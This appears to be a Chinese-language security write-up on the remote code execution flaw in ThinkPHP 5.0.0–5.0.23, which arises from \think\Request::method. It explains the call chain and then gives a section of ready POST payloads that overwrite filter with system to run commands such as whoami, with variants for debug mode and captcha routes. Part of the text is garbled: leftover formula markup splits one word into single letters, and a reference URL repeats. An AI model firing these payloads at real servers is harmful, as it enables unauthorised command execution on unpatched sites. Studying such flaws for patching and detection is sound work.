ThinkPHP v5.0.x
-  影响版本:5.0.0 <= version <= 5.0.23 
-  漏洞点: \think\Request::method修复:版本更新 · top-think/framework@4a4b5e6 · 改进Request类  
环境
- thinkphp5.0.23核心版(需开启debug)
- thinkphp5.0.22完整版(通过captcha路由)
method任意调用方法导致rce
开启debug选项
POST
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
处理请求到路由检测部分的时候会调用\think\Request::method函数

该函数用于获取当前请求类型,config文件默认为_method

在获取method之后便会通过动态调用去调用method值同名类方法,即__construct传递的值为post数组。
__construct函数中对
    
     
      
       
        o
       
       
        p
       
       
        t
       
       
        i
       
       
        o
       
       
        n
       
       
        的键名同名的类属性赋值为
       
      
      
       option的键名同名的类属性赋值为
      
     
    option的键名同名的类属性赋值为options中该键的对应值。按照payload中的内容即是对filter和server属性进行替换。

最后\think\Request::param去调用method获取原始请求类型时进入\think\Request::server函数这时的$this->server已经被覆盖为whoami


最终传入\think\Request::filterValue由call_user_func进行方法调用。


在\think\App::run中的位置如下

此时的触发点位于记录路由和请求信息的部分,这也是为什么需要开启debug选项。
5.0.13版本之前无需开启debug就能rce,之前的版本中下图代码不会在think\App::exec() -> think\App::module() 中重新再设置一次默认filter,这就会覆盖传入的恶意filter类属性。

之前的版本仅在路由调度之前进行设置filter,think\App::module()中不再进行设置。

而debug记录的位置位于think\App::exec()上方,自然不会受到影响。
关闭debug选项(默认)
从上面可以看到,filter变量清除在module分支中完成的,通过进入其他进行绕过分支。
#无回显
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
#有回显,传参方式差异    
POST ?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
or
_method=__construct&method=get&filter[]=system&get[]=whoami

此时的调用链如下,由array_walk_recursive调用filterValue函数,完成命令执行。


payload
#debug相关
POST ?s=index/index
s=whoami&_method=__construct&method=POST&filter[]=system
    
aaaa=whoami&_method=__construct&method=GET&filter[]=system
    
_method=__construct&method=GET&filter[]=system&get[]=whoami
    
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami
    
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter
    
#需进入非module路由
#无回显
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
#有回显,传参方式差异    
POST ?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&method=get&filter[]=system&get[]=whoami
参考
https://y4er.com/posts/thinkphp5-rce/
https://www.sec-in.com/article/1863
https://xz.aliyun.com/t/7792
.com/article/1863](https://www.sec-in.com/article/1863)https://xz.aliyun.com/t/7792



















